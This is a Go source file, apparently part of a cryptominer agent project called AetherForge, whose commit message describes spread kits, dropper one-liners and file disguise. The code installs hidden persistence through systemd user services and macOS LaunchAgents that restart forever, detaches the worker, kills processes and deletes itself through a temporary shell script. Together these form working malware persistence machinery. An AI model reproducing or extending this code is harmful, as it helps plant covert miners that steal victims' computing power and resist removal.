Files
AetherForge/agent/deploy/platform_unix.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

145 lines
3.9 KiB
Go

//go:build !windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
switch runtime.GOOS {
case "darwin":
return configureLaunchAgent(cfg, binPath)
default:
return configureSystemdUser(cfg, binPath)
}
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
return configureAutoStart(cfg, installedBin)
}
return nil
}
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
unitName := PersistenceKeyName(cfg) + ".service"
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if err := os.MkdirAll(unitDir, 0755); err != nil {
return err
}
unitPath := filepath.Join(unitDir, unitName)
content := fmt.Sprintf(`[Unit]
Description=AetherForge Worker %s
After=network.target
[Service]
Type=simple
ExecStart=%s %s
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
`, cfg.WorkerName, binPath, runFlag)
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
return nil
}
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
if err := os.MkdirAll(plistDir, 0755); err != nil {
return err
}
plistPath := filepath.Join(plistDir, label+".plist")
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>%s</string>
<key>ProgramArguments</key>
<array><string>%s</string><string>%s</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>ProcessType</key><string>Background</string>
</dict>
</plist>
`, label, binPath, runFlag)
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("launchctl", "load", plistPath).Run()
return nil
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
}
func HostOSVersion() string {
out, err := exec.Command("uname", "-sr").CombinedOutput()
if err != nil {
return runtime.GOOS
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
name := BinaryName(cfg)
if runtime.GOOS == "darwin" {
_ = exec.Command("pkill", "-f", name).Run()
} else {
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
}
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
switch runtime.GOOS {
case "darwin":
label := "com.aetherforge." + sanitizeName(keyName)
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
_ = exec.Command("launchctl", "unload", plistPath).Run()
_ = os.Remove(plistPath)
default:
unitName := keyName + ".service"
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
}
}
func selfUninstallSpawn(installDir string) {
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
_ = os.WriteFile(tmp, []byte(script), 0755)
cmd := exec.Command("/bin/sh", tmp)
_ = cmd.Start()
}